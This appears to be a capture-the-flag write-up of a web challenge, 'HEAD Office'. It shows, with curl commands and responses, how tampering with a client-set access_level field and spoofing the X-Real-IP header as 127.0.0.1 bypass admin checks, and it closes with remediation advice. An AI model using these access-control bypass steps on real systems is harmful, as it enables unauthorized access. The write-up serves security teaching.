SKIP TO MAIN CONTENT

[ EST. 2024 / INTERNATIONAL ]

SECURITY RESEARCH COLLECTIVE

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 250 PTS

HEAD Office

AUTHORED BY:@bealthguy10/5/2026

HEAD Office: Web

What the challenge was

A record-store login page with two fields: username and access level. The access-level selector offered only user, and the login script sent the request with a fixed X-Forwarded-For: 8.8.8.8 header. After login the page linked to /admin, described as a listening room.

Initial recon

The landing page was fetched and the inline script read. It exposed the whole authentication flow: a POST to / with username and access_level as form fields.

ffcurl -i http://54.72.82.22:8180
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.16
class="hljs-keyword"><form id="login-form">
    Username: class="hljs-keyword"><input name="username" id="username">class="hljs-keyword"><br>
    Access Level:
    class="hljs-keyword"><select name="access_level" id="access_level">
        class="hljs-keyword"><option value="user">Userclass="hljs-keyword"></option>
    class="hljs-keyword"></select>class="hljs-keyword"><br>
    class="hljs-keyword"><button type="submit">Loginclass="hljs-keyword"></button>
class="hljs-keyword"></form>
const res = await fetch(class="hljs-string">"/", {
    method: class="hljs-string">"POST",
    headers: {
        class="hljs-string">"Content-Type": class="hljs-string">"application/x-www-form-urlencoded",
        class="hljs-string">"X-Forwarded-For": class="hljs-string">"8.8.8.8"
    },
    body: class="hljs-string">`username=${encodeURIComponent(username)}&access_level=${encodeURIComponent(accessLevel)}`
});

The access check was assumed to be enforced server-side, so the first test was whether access_level was trusted from the client.

The path

A normal user was posted first, then the same request was replayed with admin as the level:

ffcurl -s -X POST -d 'username=test&access_level=user' -H 'X-Forwarded-For: 8.8.8.8' http://54.72.82.22:8180 | grep -o "<p>.*</p>"
<p>Access level: user</p>
ffcurl -s -X POST -d 'username=test&access_level=admin' -H 'X-Forwarded-For: 8.8.8.8' http://54.72.82.22:8180 | grep -o "<p>.*</p>"
<p>Access level: admin</p>

The server accepted the tampered value and rendered the session as admin, with a link to /admin. That route was requested next:

ffcurl -s http://54.72.82.22:8180/admin -H 'X-Forwarded-For: 8.8.8.8'
Access denied: Admins only....try harder!

Spoofing X-Forwarded-For to loopback changed nothing, so the gate was not that header. The fixed client header indicated that the application consulted request IP headers, which made a second header of the same family worth testing. X-Real-IP with an external address was denied, and loopback was then tried:

ffcurl -s http://54.72.82.22:8180/admin -H 'X-Real-IP: 8.8.8.8'
Access denied: Admins only....try harder!
ffcurl -s http://54.72.82.22:8180/admin -H 'X-Real-IP: 127.0.0.1'
<h3>Welcome to the listening room!</h3><p>Flag: safctf{e657eef1b0b097c60911f62cfe4ec61b}</p>

That was the entire chain: client-side role selection combined with a trusted proxy header decided access to a hidden admin route.

The exploit

The role is set to admin at login, then the request presents as loopback using the header the server actually trusted:

ffcurl -s -X POST -d 'username=test&access_level=admin' -H 'X-Forwarded-For: 8.8.8.8' http://54.72.82.22:8180
ffcurl -s http://54.72.82.22:8180/admin -H 'X-Real-IP: 127.0.0.1'

Response:

<h3>Welcome to the listening room!</h3><p>Flag: safctf{e657eef1b0b097c60911f62cfe4ec61b}</p>

No SQL injection was involved. The vulnerability was mass assignment of access_level combined with IP-based authorization using a spoofable header.

The flag

safctf{e657eef1b0b097c60911f62cfe4ec61b}

Notes on method

Reading the inline script before any other action would have shortened the path. The hardcoded X-Forwarded-For indicated that IP headers mattered, and the single-option select indicated that the role was client-controlled. Testing the second common proxy header immediately after the first failed avoids a longer detour. The fix is to never trust access_level from the request, to bind admin sessions server-side, and to derive the client IP from the connection rather than from headers.